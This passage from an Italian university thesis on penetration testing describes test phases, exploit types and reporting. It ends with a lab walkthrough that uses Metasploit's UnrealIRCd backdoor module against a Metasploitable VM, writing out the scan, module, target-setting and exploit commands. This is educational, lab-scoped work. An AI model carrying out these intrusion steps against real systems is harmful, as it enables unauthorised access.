essere: partner d’affari, concorrenti oppure organizzazioni criminali.
Analisi dei “Threat Capability” (Potenzialità delle Minacce)
Una volta individuate le possibili minacce, si deve analizzare le capacità di ognuna di esse, in modo
da poter creare un accurato modello che rispecchia le possibilità dei danni che possono procurarci.
Per fare ciò, andremo a passare sotto lente d’ingrandimento i tools utilizzati, la possibilità da parte
degli attaccanti di provocare “exploits” e i mezzi tramite i quali gli attaccanti comunicano, al fine di
poter comprendere la complessità degli attacchi.
2.2.3 Analisi delle Vulnerabilità
L’analisi delle vulnerabilità è il processo, tramite il quale, il tester punta a scoprire i difetti nei sistemi
e nelle applicazioni, che gli attaccanti potrebbero sfruttare a loro vantaggio. Questi sono molteplici,
e vanno da quelli legati all’host, a quelli dovuti a errate configurazioni di determinati servizi. Sebbene
esistano diversi modi per eseguire questo test, ci sono degli elementi chiave, comuni a tutti questi
modi di agire.
Active Testing
L’Active Testing implica una diretta interazione con gli elementi che devono essere testati per
valutarne le vulnerabilità. Questi potrebbero essere elementi di basso livello, come ad esempio il TCP
stack su un dispositivo di rete. Oppure potrebbe essere di più alto livello, come ad esempio le web
based interface usate per amministrare un dispositivo. Ci sono due modi per interagire con questi
elementi target: un approccio manuale e uno automatizzato. Si approfondirà quello automatizzato.
Automatizzato
Il testing automatizzato utilizza software che s’interfaccia con un obbiettivo, esamina le risposte e
determina, dove le vulnerabilità esistono in base alle risposte che si ricevono. Un procedimento
20
automatizzato è utile perché riduce il tempo e il lavoro annesso all’analisi. L’utilizzo di questi
software che eseguono queste funzioni, consente al tester di potersi concentrare sul “processing data”
e sul “performing tasks” che sono più adatte per un’analisi manuale.
A questa categoria di software fanno parte i “Network/General Vulnerability Scanners”, “Web
Application Scanners” e “Network Vulnerability Scanner/Specific Protocols”.
Network/General Vulnerability Scanners – Port Based
Il Port Based Scanner punta a determinare su cosa un port, o un host remoto è in grado di ricevere
una connessione. Generalmente, si utilizzano i protocolli che si relazionano con il protocollo IP. Una
porta può avere due stadi: aperta o chiusa. Quando lo scanner determinerà se la porta è aperta, esso
fa una supposizione sul fatto che la vulnerabilità sia presente o meno.
Web Application Scanners - General Application Flaw Scanners
La maggior parte delle scansioni di web application iniziano con l’analisi dell’indirizzo di un sito
web, di una web application o di una web service. Lo scanner poi avanza nel sito analizzando tutti i
link e le directory che lo compongono. Dopo aver compilato una lista di pagine web, risorse, servizi
e/o mezzi offerti, lo scanner eseguirà il test o ispezionerà di nuovo i risultati ottenuti in precedenza.
Questo comportamento è abbastanza comune negli scanner delle web application.
2.3 Attack
La fase di “Attack” di un Penetration test è la più delicata, infatti dopo aver individuato una serie di
vulnerabilità nella fase precedente, andremo a fare l’expoit di queste. Se un attacco avrà successo, la
vulnerabilità sarà verificata, di conseguenza si saprà come agire per andare a migliorare la sicurezza
del sistema.
Alcuni exploits consentono al tester di ottenere privilegi sul sistema o sulla rete, quindi possono
accedere ad altre informazioni. Se questo accade, è necessario andare a fare nuove analisi e test per
determinare il reale livello di pericolo cui è esposto il sistema, per identificare che tipo
d’informazioni possono essere recuperate, cambiate oppure rimosse. Se il tester è in grado di
“exploitare” la vulnerabilità, ha la possibilità di installare una serie di tool sul sistema per facilitare
il processo di testing. Questi sono usati per ottenere nuovi privilegi di accesso ai dati presenti nel
sistema. È quindi evidente che dobbiamo andare a fare una serie di valutazioni per verificare che
possibilità di accesso, in base ai privilegi ottenibili, può avere un attaccante. Analizziamo ciò
rappresentandolo come un ciclo in “feedback loop” tra la fase di “Attack” e quella di “Discovery”.
21
Figura 3
•Gaining Access: si prova a compiere un accesso tramite un attacco di precisione, grazie alle
informazioni raccolte nelle fasi precedenti.
•Escalating Privileges: Se nella fase precedente si è ottenuto l’accesso al solo livello utente, ora
si proverà a fare un tentativo per ottenere un livello di accesso con maggiori privilegi, ad
esempio un accesso di livello amministratore.
•System Browsing: Se con le informazioni in possesso non si sono ottenuti i privilegi d’accesso
desiderati, ricomincia la fase di raccolta d'informazioni per ottenerne di nuove, per
raggiungere l’obbiettivo prefissato.
•Install Additiona Tools: S’installano altri tool per ottenere nuove informazioni, oppure accessi,
o una combinazione di queste due cose.
2.3.1 Tipi di Exploits
La maggior parte delle vulnerabilità “exploitate” in un penetration test possono essere racchiuse in
queste categorie:
•Misconfiguration: Errori di configurazione della sicurezza, in particolare i settaggi di default
della sicurezza, sono di solito facili da “exploitare”.
•Kernel Flaws: Il codice Kernel è il cuore di un OS, e impone il modello di sicurezza del sistema,
quindi qualsiasi falla di sicurezza nel kernel mette tutto a rischio.
•Buffer Overflows: Si ha questa situazione quando non ci sono adeguati controlli sulla lunghezza
degli ingressi. Se questo avviene, può essere lanciato codice nel sistema ed eseguito con
privilegi importanti.
22
•Symbolic Links (symink): Questo è un file che punta a un altro. Nei sistemi operativi vi sono
dei programmi che possono cambiare i permessi dati a un file. Se questi programmi eseguono
con dei particolari permessi, un utente potrebbe strategicamente creare un symlink per
ingannarli con lo scopo di far si che ascoltino file critici.
•File Descriptor Attacks: Questi sono numeri usati dal sistema per tenere traccia dei file al posto
dei filenames. Implicitamente sono utilizzati dei particolari file descriptors. Quando un
programma con particolari privilegi assegna un inappropriato file despritor, il file cui è stato
assegnato questo può essere compromesso.
2.3.2 Contromisure
Sono definite contromisure quelle tecnologie o quei controlli che vogliono ostacolare la riuscita di un
exploit. Queste possono essere: “Host Based Intrusion Prevention System”, “Security Guard” oppure
“Web Application Firewall”. Quando si va a realizzare un exploit, si deve tener conto della presenza
di queste tecnologie.
Encoding: Metodo che punta, a oscurare i dati in modo che un pezzo di codice non appaia, come esso
è.
Encrypting: Come l’encoding, è un metodo che manipola codice eseguibile in modo che esso non
sia riconoscibile o disponbile per essere ispezionato. Potrà essere analizzato solo dopo essere stato
decifrato.
Data Execution Prevention (DEP): è una misura difensiva implementata nella maggior parte dei
sistemi operativi, e previene l’esecuzione di permessi quando c’è una sovrascrittura in memoria.
L’idea fondamentale è quella di andare a stoppare un attaccante all’atto della scrittura in memoria.
2.4 Reporting
Il Report finale si presenta come un documento che vuole aiutare il cliente a comprendere tutto quello
che si è fatto nel test, e che riscontri e risultati si sono ottenuti. Questo può essere diviso in due grandi
parti: Sintesi e Technical Report.
2.4.1 Sintesi
Questa sezione dovrà comunicare al lettore gli obiettivi specifici del Penetration Test e i risultati
scoperti. I destinatari di questo documento saranno tutti quelli che sono incaricati di supervisionare
la sicurezza del sistema, insieme con quelli che sono incaricati di scoprire e rendere noti le possibili
minacce. Le sezioni che devono essere presenti nella sintesi sono:
23
•Background: Questa sezione spiega al lettore, nel complesso, gli scopi del test.
•Overall Posture: Si ha un resoconto della complessiva efficacia del test e delle capacità del
tester a raggiungere gli obiettivi che erano stati stabiliti.
•Risk Ranking/Profile: Si va a stilare una lista dei rischi cui è soggetto il sistema, andando a
indicare anche il grado di pericolosità.
•General Findings: Si va a fare un sunto sui problemi riscontrati durante il test utilizzando, oltre
alle parole anche dei grafici.
•Recommendation Summary: Si spiega cosa è stato necessario fare, al fine di risolvere i rischi
identificati, e lo sforzo profuso per implementare la risoluzione.
2.4.2 Technical Report
In questa sezione si comunica al lettore tutti i dettagli tecnici del test. Esso descriverà in dettaglio,
obiettivi, informazioni, vettori di attacco, impatto e rimedi che si sono analizzati nel test.
24
Capitolo 3 : Simulazione di Exploit
Dopo aver esaminato tutte le fasi di un Penetration Testing, si eseguirà una simulazione di uno dei
passaggi più tecnici trattato nel capitolo precedente: la fase di Exploit. Questa è una delle più delicate,
infatti, dopo aver scoperto le vulnerabilità a cui può essere soggetto il sistema, ci si porrà come
obbiettivo lo sfruttamento di queste, al fine di capire a quali rischi possono portare, in che modo
creano danno, e quanto sono esposti i dati che vogliamo andare a tutelare.
Per poter svolgere questa simulazione si utilizzeranno due particolari distribuzioni di Linux: Kali
Linux e Metasploitable. La prima è una completa ricostruzione di BackTrack Linux, aderente agli
standard di sviluppo Debian appositamente studiata per il Penetration Testing e Security Auditing. In
essa sono presenti più di 300 tool per le varie fasi del test, tra cui “Metasploit Framework”. Questo si
presenta come un programma dedicato alla fase di exploit, eseguibile sia da terminale sia tramite
interfaccia grafica, che consente all’utente di eseguire tutti i passaggi necessari in questa fase: scelta
e configurazione dell’ exploit, verificare se un sistema sia soggetto all’azione di quel determinato
exploit, la scelta e la configurazione del payload (codice che verrà eseguito dopo un’intrusione
avvenuta con successo), la scelta della tecnica di crittografia del payload, in modo da non essere
rilevato dai sistemi di intrusione, e infine l’esecuzione dell’exploit. “Metasploitable Virtual
Machine”, invece, si presenta come una distribuzione volutamente vulnerabile di Ubuntu, sviluppata
per i test di sicurezza, per la dimostrazione e l’analisi delle vulnerabilità.
Si analizzeranno ora, nel dettaglio, le fasi affrontate in questa simulazione.
3.1 Fasi Iniziali, comando « ifconfig » e comando «nmap »
Dopo aver realizzato, tramite “VirtualBox”, due macchine virtuali, una per Kali Linux e una per
Metasploitable, si faranno partire. Dopo aver avviato Kali Linux (visibile nel riquadro a sinistra di
Figura 4) si farà partire Metasploit scrivendo a linea di comando “msfconsole” mentre, per quanto
riguarda Metasploitable (visibile nel riquadro a destra di
25
Figura 4), dopo averlo lanciato, si dovrà effettuare il login usando come username e password
“msfadmin”.
Figura 4
A questo punto si è interessati a capire l’indirizzo IP su cui è possibile attaccare Metasploitable. Per
conoscerlo eseguiamo il comando “ifconfig”. Come si vede in Figura 4, l’indirizzo su cui la macchina
target sarà attaccabile è 10.0.0.22. Saputo ciò, si lancerà il comando “nmap 10.0.0.22”.
Figura 5
26
Si esegue questo comando per conoscere le porte che sono aperte, tramite le quali poter eseguire un
attacco. Si sceglierà di attaccare la porta 6667/tcp, evidenziata in Figura 5.
3.2 Esecuzione dell’Exploit
Figura 6
Dopo aver scelto la porta da attaccare, si deciderà il tipo di exploit da utilizzare. Quello utilizzato
nella simulazione è “unreal_ircd_3281_backdoor”. L’obbiettivo che si vuole ottenere è impiantare
una “backdoor”, al fine di poter bypassare i sistemi di sicurezza e poter, nel caso in esame, navigare,
come si vedrà, nelle directory del sistema attaccato.
Per
fare
questo,
si
scriverà
sul
terminale
di
Kali
Linux
il
comando
“use
exploit/unix/irc/unreal_ircd_3281_backdoor”. Il passo seguente sarà quello di effettuare una serie di
settaggi, per poter far andare a buon fine l’exploit, perciò si scriverà nella shell “show options”. Come
si può vedere in Figura 6, il terminale mostra due opzioni, entrambe necessarie: “RHOST” e
“RPORT”. La prima richiede che si specifichi IP della macchina su cui eseguire l’attacco, mentre la
seconda richiede che sia specificata la porta, tramite la quale si può accedere (si noti che questa è già
preimpostata, e coincide con la porta evidenziata in precedenza, in quanto l’exploit è stato scelto,
dopo aver determinato quale porta attaccare). Tramite il comando “set RHOST 10.0.0.22”, si
indirizzerà l’attacco verso la macchina desiderata (se si fosse voluto settare RPORT, si sarebbe agito
in maniera analoga). Infine, si farà partire l’attacco digitando su terminale il comando “exploit”.
27
Figura 7
Come si evince da Figura 7, l’exploit è andato a buon fine. A testimoniare ciò, il terminale comunica
che si è aperta una sessione sulla shell dei comandi della macchina attaccata.
3.3 Sfruttamento dell’exploit e chiusura della sessione
Figura 8
28
Una volta eseguito l’exploit, si è in grado di poter navigare nelle directory del sistema che ha subito
l’attacco. Come è mostrato in Figura 8, si utilizza prima il comando “pwd”, in quanto si vuole vedere
prima il pathname assoluto della directory corrente. In seguito, tramite il comando “cd ../..”,
scegliamo di voler tornare indietro di due livelli nell’albero delle cartelle, infatti a video verrà
mostrato l’intero contenuto del livello in cui ci si trova. È giusto sottolineare che i comandi scelti per
lo spostamento sono semplicemente d’esempio, in quanto l’obbiettivo che si voleva raggiungere era
mostrare una dimostrazione di cosa sarebbe successo una volta andato a buon fine l’attacco.
Figura 9
Dopo aver mostrato tutto ciò, si chiuderà la sessione. Per fare ciò si utilizzerà la combinazione di tasti
“Ctrl+c”. Quindi verrà mostrata la richiesta di voler chiudere o meno la sessione. Si digiterà “y” per
chiuderla, così si sarà pronti ad eseguire nuove operazioni.
29
Conclusioni
Nell’ elaborato realizzato, ci siamo impegnati a comprendere come eseguire un Penetration Test e le
fasi che lo compongono. Questo è stato possibile tramite la consultazione di diverse guide rilasciate
da enti come il NIST (National Institute of Standard and Technology) e organizzazioni come OWASP
(The Open Web Application Security Project). Inoltre abbiamo visto, attraverso un attento studio,
come utilizzare Kali Linux, Metasploit e Metasploitable, per poter mostrare un esempio di come
realizzare un exploit.
L’analisi riportata in queste pagine, oltre ad aver aumentato la mia conoscenza verso un argomento
così interessante e affascinante, mi ha permesso di essere più cosciente di quanto sia fondamentale la
sicurezza dei vari sistemi informatici e di come allo stesso tempo sia difficile realizzarla. Fin da subito
ho compreso quanto sia importante avere sistemi di sicurezza costantemente aggiornati, per poter
fronteggiare adeguatamente le minacce che si presentano in un mondo, come quello in cui viviamo,
in cui le informazioni e i dati sono diventati obbiettivi sempre più sensibili.
30
Bibliografia
[1]
OWASP (The Open Web Application Security Project), OWASP Top 10 – 2013
The Ten Most Critical Web Application Security Risks, 2013
[2]
The Penetration Testing Execution Standard, http://www.pentest-standard.org,
17/09/2016
[3]
K. Scarfone, M. Souppaya, A. Cody, A. Orebaugh , Technical Guide to Information
Security Testing and Assessment – Recommendations of the National Institute of Standard
and Technology, 2008
[4]
[5]
Penetration Test, https://it.wikipedia.org/wiki/Penetration_Test, 02/10/2016
Kali
Linux
Official
Documentation
–
Che
cosa
è
Kali
Linux?,
http://it.docs.kali.org/introduction-it/che-cosa-e-kali-linux, 02/10/2016
[6]
Metasploit Project, https://it.wikipedia.org/wiki/Metasploit_Project, 02/10/2016
[7]
Metasploitable 2 Exploitability Guide, https://community.rapid7.com/docs/DOC-
1875, 02/10/2016
31